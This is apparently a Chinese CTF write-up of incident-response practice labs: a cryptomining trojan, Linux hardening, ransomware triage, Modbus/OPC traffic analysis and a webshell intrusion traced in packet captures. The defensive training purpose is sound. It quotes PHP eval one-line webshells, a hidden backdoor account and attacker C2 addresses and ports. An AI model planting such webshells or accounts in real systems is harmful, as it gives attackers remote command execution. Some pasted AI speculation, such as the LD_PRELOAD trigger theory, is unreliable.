【刷题】青少年靶场练习
- 全程学习:https://mp.weixin.qq.com/s/a6USGZOf3teZhrvHDjxEog以及该公众号后续文章
特洛伊挖矿木马事件排查
你是一名初级安全工程师,运维团队报告,公司的一台核心开发服务器(Ubuntu 22.04 LTS)出现CPU使用率异常飙高告警及安全设备检出外联挖矿事件。现在,你需要登录该服务器,排查并处置这一安全事件,并最终找出问题的根源。账号:root,密码:P@ssw0rd
任务1
任务名称:提交挖矿文件的绝对路径
任务分数:2.00
任务类型:静态Flag
提交挖矿文件的绝对路径,最终以flag{/xxx/xxx}格式提交
既然题目说了是CPU使用率异常飙高,那我们就降序看看进程的CPU占用情况
top |
- ai
| 片段 | 含义 |
|---|---|
ps aux |
列出所有用户的所有进程的详细信息。a = 所有终端(TTY)下的进程;u = 以“面向用户”的格式展示(含用户名、CPU、内存等字段);x = 包括没有控制终端的进程(守护进程、后台任务等)。 |
--sort=-%cpu |
按 %cpu 字段降序排序(- 表示降序)。因此最耗 CPU 的进程排在最前。 |
head |
默认只取结果的前 10 行,即“最耗 CPU 的 10 个进程”。 |
这进程的命令是/tmp/kworkerds,正常的系统内核工作线程应该是kworker才对,而且也不该在/tmp路径,所以这玩意很可疑,很有可能就是所谓的挖矿文件所以本题的答案就是这一个高嫌疑的/tmp/kworkerds
flag{/tmp/kworkerds}
任务2
任务名称:提交挖矿文件的外联IP与端口
任务分数:2.00
任务类型:静态Flag
提交挖矿文件的外联的IP与端口,最终以flag{ip:port}格式提交
刚刚已经找到了可疑进程的PID是306
题目问挖矿文件的外联IP,其实就是问的网络连接情况我们用netstat或者ss都可以
netstat -anp | grep 306 |
这边就能直接看到外网的外联ip和端口是那个104.21.6.99:10235
这个10235是一个非标准的高位端口,在这种恶意文件里很常见
任务3
任务名称:守护进程脚本的绝对路径
任务分数:2.00
任务类型:静态Flag
停止挖矿进程并尝试删除挖矿程序,根据异常判断,提交守护进程脚本的绝对路径,最终以flag{/xxx/xxx/xxx/xxx}提交
kill -9 PID |
rm -rf /tmp/kworderds |
# 系统级别 |
cat验证下
发现是每分钟都在执行,这玩意的频率太高了,很像而已进程,我们去看看它要执行的.0guardiancat
/usr/bin/.0guardian
- ai
cron 时间字段共 5 个星号,从左到右依次是:
* * * * * |
记忆口诀:“分 时 日 月 周”。
星号 * 代表“每”,所以:
* * * * * command |
就是“每分、每时、每日、每月、每周”都执行,即每分钟一次。
把图片里的脚本完整贴出来就是这样:
|
逐行解释:
-
#!/bin/bash
用 bash 解释执行,没什么特别。 -
两行注释
作者自己写明目的:- “Guardian Script”——看门狗脚本;
- “triggers an infected command / revive if needed”——直白承认它会去启动一个已被感染的程序,并在死掉时把它重新拉起来。
也就是说,这段脚本本身不是挖矿体,而是木马守护进程(guardian/watchdog)。
-
真正干活的只有最后一行:
/usr/bin/stat /tmp > /dev/null 2>&1stat /tmp只是对/tmp做一次最简单的元数据查询,几乎不耗资源,也看不出明显恶意。- 但注意:
a) 这条命令返回值为 0(目录存在),所以脚本退出码也是 0,cron 不会报错。
b) 它真正的目的并不是“统计”,而是借一次系统调用触发 LD_PRELOAD 级别的恶意库(如果攻击者事前把后门类.so通过/etc/ld.so.preload或环境变量注入)。
在这种场景下,只要任何进程(哪怕是 stat)启动,动态链接器就会先把攻击者的 so 拉进来,so 里的构造函数便会检测“主服务”是否存活,不存在就重新 fork/exec 拉起/tmp/kworkerds等挖矿程序。
因此看上去只是“无害的 stat”,其实起到了“心跳/触发器”的作用——每分钟敲一下,保证守护逻辑被激活。
一句话总结:
脚本本身只做了一次“摸一下 /tmp”的动作,但它真正的价值是作为每分钟一次的心跳,去唤醒预置的恶意动态库,从而确保挖矿/木马主进程死掉了能立刻复活。
任务4
任务名称:异常处理
任务分数:2.00
任务类型:静态Flag
根据出现的异常及守护进程脚本,继续排查,以人为本,使用环境内浏览器访问:http://chat.internal-dev.net:8081 获取可疑网址,最终以flag{http://www.example.com}格式提交
- 下载一个strings一下看到
- flag{http://www.superlog-pro.com}
任务5
任务名称:分析病毒文件
任务分数:2.00
任务类型:静态Flag
分析病毒文件,提交其感染的所有程序,最终以flag{md5(/usr/bin/whoai,/usr/bin/ls,/usr/bin/top)}进行提交,顺序需以病毒文件中为准
md5(/bin/ls,/bin/ps,/bin/cat,/bin/rm,/bin/ss,/usr/bin/stat,/usr/bin/top,/usr/bin/wget,/usr/bin/curl,/usr/bin/vi,/usr/bin/sudo)
flag{dac48e98a53b81b0218e2156e364f7ba}
任务6
任务名称:修复系统并恢复文件完整性
任务分数:2.00
任务类型:静态Flag
修复系统并恢复文件完整性:已知所有程序被感染,当前系统属于断网状态,所以作者贴心的在/deb_final目录下存放了对应程序的deb包,请尝试恢复所有程序,恢复完毕后在/var/flag/1文件获取flag
我们上一题已经知道了感染的程序情况,这玩意是只有启动setup的时候才会改的,所以我们现在可以直接进行恢复,不用担心再生
这一题作者有提示,已经将对应程序的debian软件包给放在了/deb_final路径,我们只需要直接dpkg对这些已经下载好的本地包进行安装即可
dpkg -i *.deb
通过这一步我们可以直接将程序进行覆盖更新,从而将原来染病的全都覆盖掉
任务7
任务名称:最终清理
任务分数:2.00
任务类型:静态Flag
最终清理:删除挖矿程序、删除计划任务及守护进程及清除相关进程,等待片刻在/var/flag/2获取flag
注意这边要按顺序,我们得先去掉计划任务才能进行对挖矿程序的删除
systemctl stop cron |
- 要等一会才出来的
flag{081ce3688c6cd6e2946125081381087c}
Linux安全加固-主机运维
环境针对Linux安全加固而生产,环境中可能存在一些风险,所以需要进行一定的加固,请根据题目引导进行练习
账号:bus 密码:bus123
任务1
任务名称:修改用户:bus的ssh密码
任务分数:2.00
任务类型:自动校验
用户"bus"存在弱口令风险,需要你进行安全加固,请对此用户进行增强密码操作
passwd bus |
任务2
任务名称:允许root用户ssh远程登录
任务分数:2.00
任务类型:自动校验
服务器由于需要进行远程操作,且需要高权限,需要进行暂时性的开放root用户允许ssh远程登录权限,尽管这是不安全的
sudo passwd root # 修改文件需要root |
- ai
从这几行输出只能看到 sshd 二进制路径(/usr/sbin/sshd),并没有 -f 参数,因此它一定用的是默认路径:/etc/ssh/sshd_config
- 修改/etc/ssh/sshd_config
原来是:
PermitRootLogin prohibit-password |
改成:
PermitRootLogin yes → 明确允许 root 远程登录 |
sudo sshd -t # 无输出即语法正确 |
输出下面的才对:
permitrootlogin yes |
任务3
任务名称:运维远程完毕,可关闭root用户的ssh远程权限
任务分数:3.00
任务类型:自动校验
允许root远程登录是危险的,所以运维完成远程操作后,可立即将root用户ssh远程权限关闭
- 恢复原状
任务4
任务名称:创建新用户并配置SSH私钥
任务分数:2.00
任务类型:自动校验
为了让主机远程连接安全更进一步,请创建一个back用户并修改它的密码,最终生成这个用户的私钥,后续可以利用私钥让运维远程连接更安全
# 1. 创建 back 用户,同时建家目录 |
2700勒索病毒排查
题目信息
某公司财务机器某天突然卡顿,任务管理器发现有程序在高占用,后续所有文件都无法打开,且所有文件都变成了.2700结尾的扩展名,目前通过一些特征判断是勒索病毒,比如勒索信以及文件名等,请您上机排查,并根据题目指引进行溯源和数据恢复。
所需工具在C:\Users\Solar\Desktop\工具\目录中
账号:Solar
密码:Solar521
靶机使用说明:https://mp.weixin.qq.com/s/XFisEU5Gdk245cn8jsnlZQ
任务1
任务名称:此勒索家族名称是什么?
任务分数:2.00
任务类型:静态Flag
此勒索家族名称是什么?可访问应急响应.com进行查询,大小写敏感,最终以flag{}提交
- 后缀名全变成.2700了
- 根据题目搜下
任务2
任务名称:勒索病毒预留的ID是什么
任务分数:2.00
任务类型:静态Flag
勒索病毒预留的ID是什么(预留ID为勒索组织恢复的凭证),以flag{}提交,如有多个以&进行连接
- 勒索信里面有
- flag{4A30C4F9-3524}
任务3
任务名称:提交开始加密的时间
任务分数:2.00
任务类型:静态Flag
提交开始加密的时间,以flag{2025/1/1 11:11}格式提交
一般来说勒索病毒在加密的时候不会差很多时间,基本上就是一瞬间全加密完了,不给你留时间转移所以打开几个看看就知道了
- 随便找个打开
- flag{2025/11/19 14:31}
任务4
任务名称:提交flag
任务分数:2.00
任务类型:静态Flag
访问:应急响应.com 找到此家族恢复工具进行恢复,提交C:\Users\Solar\Desktop\lSimulation_Desktop_Files\flag.txt文件中的flag
- 网站下载恢复工具恢复,简单题
任务5
已完成
任务名称:提交发送邮件的邮箱
任务分数:2.00
任务类型:静态Flag
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的邮箱,以flag{xxx@xxx.com}格式提交
- 工具文件夹下email
任务6
任务名称:提交发送邮件的IP
任务分数:2.00
任务类型:静态Flag
提交C:\Users\Solar\Desktop\工具\mail 发送邮件的IP,以flag{x.x.x.x}格式提交
直接记事本打开刚刚的邮件文件在X-Originating-IP字段即可发现ip
- flag{39.91.141.213}
任务7
任务名称:提交钓鱼附件中的C2地址
任务分数:2.00
任务类型:静态Flag
提交钓鱼附件中的C2地址,以flag{x.x.x.x}格式提交
- 云沙箱
任务8
任务名称:提交flag
任务分数:2.00
任务类型:静态Flag
部分数据丢失,好在运维之前做了备份,使用C:\Users\Solar\Desktop\工具\diskgenus恢复C:\Users\Solar\Desktop\工具\backup中的备份内:C:\Users\Solar\Desktop\flag.bak文件,提交其flag
直接打不开,可以提取出来看或者直接改后缀成txt看
- flag{92047522e5080bad36eda9d29d5a163e}
工厂应急
题目信息
某化工厂监控网络出现异常波动。你拿到了一份汇总的抓包文件。
任务1
任务名称:工厂应急Q1
任务分数:2.00
任务类型:静态Flag
谁把泵关了? 提交格式:flag{0xtransaction_id_0xfunction_code_0xcoil_address}
打开流量包可以看到有很明显的Modbus流量痕迹,Modbus TCP是一种很特殊的协议这是一种广泛运用于工业自动化领域的通信协议,主要是用来解决不同厂家生成的设备沟通传输的问题,正贴切本题的工厂应急环境,这应该是本题的重点,我们先过滤一下Modbus TCP
- 考知识点来了
- 点击跳转Modbus协议功能码笔记
modbus.func_code == 5 or modbus.func_code == 6 or modbus.func_code == 15 or modbus.func_code == 16 |
重点在于Info内容这边的Trans是事务标识符,用来匹配请求和响应
Unit是单元标识符,基本上就意味着从站的地址最后就是
Func了,这是功能码,决定着要做什么操作像这边的
- Func:1是读线圈
- Func:3是读保持寄存器
- flag{0x1a2b_0x05_0x000d}
任务2
任务名称:工厂应急Q2
任务分数:2.00
任务类型:静态Flag
被写入的 NodeId
这一个NodeId是节点标识符的意思,而这一条流量的意思是发出一个浏览请求,希望能读到在命名空间索引为3的,标识符为Alarms的节点(就是要报警信息列表)
那我们要找的是被写入的,自然应该是WriteRequest才对根据内容过滤看看
>frame contains "NodeId" && frame contains "WriteRequest"
- 追踪tcp流看到:
WriteRequest:NodeId=ns=2;s=Pump/SpeedSetpoint;Value=1200; |
- flag{ns=2;s=Pump/SpeedSetpoint}
任务3
任务名称:工厂应急Q3
任务分数:2.00
任务类型:静态Flag
工程站域名解析结果 找出工程站域名 engws.plant.local 的 A 记录解析结果(目标 IP)。
flag{x.x.x.x}
- ai
“找域名解析结果”本质上就是分析DNS协议的流量。这确实是网络分析和排查中最常见、最核心的方法。
为什么是DNS流量?
DNS协议的唯一使命,就是将域名(如 www.baidu.com) 转换为 IP地址。
所以,当您想找“域名解析结果”时,您就是在问:
· “www.example.com 对应哪个IP?”
· “我的电脑请求解析某个域名时,它得到了什么回复?”
这些请求和回复,都是以DNS协议数据包的形式在网络中传输的。因此,捕获并分析DNS流量,就是获取答案的最直接途径。
dns && (dns.qry.name == "engws.plant.local") |
这边有很多ip,根据题意,我们最后应该解析到的是一个和其他工控设备都在同一网段的ip,如此满足工控系统的实时要求,保证网络安全和通信协议,也就是10.0.0.x的ip
- ai
这个判断主要基于 工控网络架构的安全原则 和 IP 地址的类型分析。
- IP 地址类型分析(排除法)
在抓包中发现的 IP 地址可以分为几类:
-
公网 DNS 服务器(排除):
1.1.1.1(Cloudflare)8.8.8.8(Google)- 这通常是 DNS 服务器本身的地址,而不是工控机(工程站)的实际业务 IP。
-
文档/示例保留地址(排除):
192.0.2.34198.51.100.5203.0.113.20- 这三个网段 (
192.0.2.0/24,198.51.100.0/24,203.0.113.0/24) 是 IANA 专门保留用于文档和示例(Documentation Address Blocks)的 IP。在 CTF 题目中,它们通常作为干扰项出现,实际上在真实网络中不可路由。
-
私有内网地址(保留):
10.0.0.8- 属于 A 类私有地址 (
10.0.0.0/8)。
- 工控场景与实时性要求
- 网络隔离与安全: 工控系统(ICS)通常运行在隔离的局域网内(Intranet),以防止外部攻击。工程站(Engineering Workstation)作为核心控制设备,必须位于内网。
- 通信时延(实时性): 题目提到“满足工控系统的实时要求”。如果工程站解析到一个公网 IP,数据传输需要经过网关、路由器进入互联网,时延不可控且不安全。只有解析到同一局域网网段(即您提到的
10.0.0.x),流量直接在交换机层面转发,速度最快,时延最低,符合工业控制的实时性需求。
- 域名暗示
- 域名是
engws.plant.local。后缀.local明确暗示这是一个本地局域网域名,不应该解析到公网地址。
综上所述:
只有 10.0.0.8 既是私有内网 IP,又符合工控局域网的特征,因此它是唯一正确的答案。
- flag{10.0.0.8}
任务4
任务名称:工厂应急Q4
任务分数:2.00
任务类型:静态Flag
确定 HMI(源:10.0.0.x)到工程站(目的:10.0.0.x)上首个成功发起的时间点。 提交格式:flag{YYYY-MM-DDTHH:MM:SSZ}(UTC,精确到秒)
根据任务三,这边可以看到DNS服务器是10.0.0.2,客户端是10.0.0.5,然后访问engws.plant.local的时候会连接目标ip10.0.0.8在工控网络场景里,HMI一般是作为的操作终端,也就是客户端,需要访问工程控制站,也就是说一般是HMI向DNS发起查询,而解析结果就是工程站的ip所以本题里说的HMI的源是10.0.0.5,而工程站是10.0.0.8这个都知道了,我们直接过滤即可,src是10.0.0.5,而dst是10.0.0.8,tcp连接
- 注意要UTC的
- flag{2025-03-12T14:22:09Z}
任务5
任务名称:工厂应急Q5
任务分数:2.00
任务类型:静态Flag
在横向后不久,HMI 对工程站发起了 HTTP 请求。提交请求的 Host 与 URI,用下划线连接。
我们在任务四已经分析过了,HMI是10.0.0.5,而工程站是10.0.0.8,最后要求是HTTP请求所以我们多过滤个HTTP即可
ip.src == 10.0.0.5 && ip.dst == 10.0.0.8 && http.request |
- ai:HTTP 协议标准 :HTTP 协议明确规定,Header(头部)的每一行必须以 \r\n (CRLF) 结尾,而不仅仅是 \n 。
- flag{engws.plant.local_/rpc}
emergency
任务1
任务名称:提交黑客的IP地址
任务分数:2.00
任务类型:静态Flag
提交格式为flag{0.0.0.0}
根据下边的题目可以得知上传了一句话木马,那我们其实可以直接过滤POST的http请求,然后再追踪看看有没有明显的一句话木马痕迹简单追踪一下HTTP流,打开第一个就看见了一句话木马的痕迹
- ai
- 在数据传输过程中,为了防止中文字符或其他特殊字符在不同的系统、浏览器或协议之间出现乱码,开发者会将这些字符转换成统一的 Unicode 转移序列(Escape Sequence)。
- 其特征非常明显:以 \u 开头,后面跟着 4 位十六进制数字。
- flag{10.0.100.69}
任务2
任务名称:提交黑客初始连接的PHP一句话木马密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{abc}
- 攻击行为分析:植入一句话木马
看这一段 value 参数的值: value=%3C%3Fphp+%40eval(%5B%24_POST%5B’shell’%5D%5D)+%3F%3E
将其进行 URL 解码 (URL Decode) 后,内容是:
<?php @eval([$_POST['shell']]) ?>
目的: 攻击者通过 user_config_add.html(添加用户配置的界面)将这段代码写入服务器。一旦写入成功,攻击者只要向该页面发送名为 shell 的 POST 请求,就可以在服务器上执行任何命令。
- flag{shell}
任务3
任务名称:提交黑客通过初始连接一句话木马后创建新的一句话木马文件的MD5
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
- 流63
ai:这段数据是非常典型的 WebShell(通常是蚁剑 AntSword 或冰蝎等工具) 执行指令的 Payload。它通过 URL 编码、Base64 和十六进制混淆来隐藏真实意图。
<?php @eval($_POST["qsnctf_2025_lab"]); ?>- flag{91a29f36879b024d661851b7765f3969}
任务4
任务名称:提交黑客创建的不死马的密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
上一题的木马位于的是/cache/chche_file/configs.cache.php路径,很有可能是有存活期的,不是不死马且在虚拟机中搜索已经搜索不到我们之前的一句话木马因此我们应该继续寻找,寻找有写入命令的流量
- 流75
- 解个一次就很熟练了类似的木马
|
在WWW路径即可找到这一个不死马,同样确认了密码
- flag{4aad625950d058c24711560e5f8445b9}
任务5
任务名称:提交黑客上传的恶意文件(远程控制木马)的名称
任务分数:2.00
任务类型:静态Flag
提交格式为flag{abc.exe}
- 流89
根据文件头可以看到是典型的Windows PE可执行文件,很有可能是远控木马,我们扔到云沙箱看看
- flag{shell.exe}
任务6
任务名称:提交黑客上传的恶意文件(远程控制木马)的MD5
任务分数:2.00
任务类型:静态Flag
提交格式为flag{md5}
- 如上图
任务7
任务名称:提交黑客上传的恶意文件(远程控制木马)的端口
任务分数:2.00
任务类型:静态Flag
提交格式为flag{1234}
- flag{4444}
任务8
任务名称:请提交黑客创建用户账户的用户名
任务分数:2.00
任务类型:静态Flag
提交格式为flag{username}
- 设置-其他人员
- flag{hidden$}
- 或者下题所写流98
任务9
任务名称:请提交黑客创建用户账户的密码
任务分数:2.00
任务类型:静态Flag
提交格式为flag{password}
- 火眼
- 流98
- echo出来了所以创建成功
- flag{P@ssw0rd123}
任务10
任务名称:请提交黑客创建用户账户的时间
任务分数:2.00
任务类型:静态Flag
flag{2025/01/01 01:00:00}
- 注意GMT时区,我们东八区要+8
- flag{2025/11/20 16:13:32}











































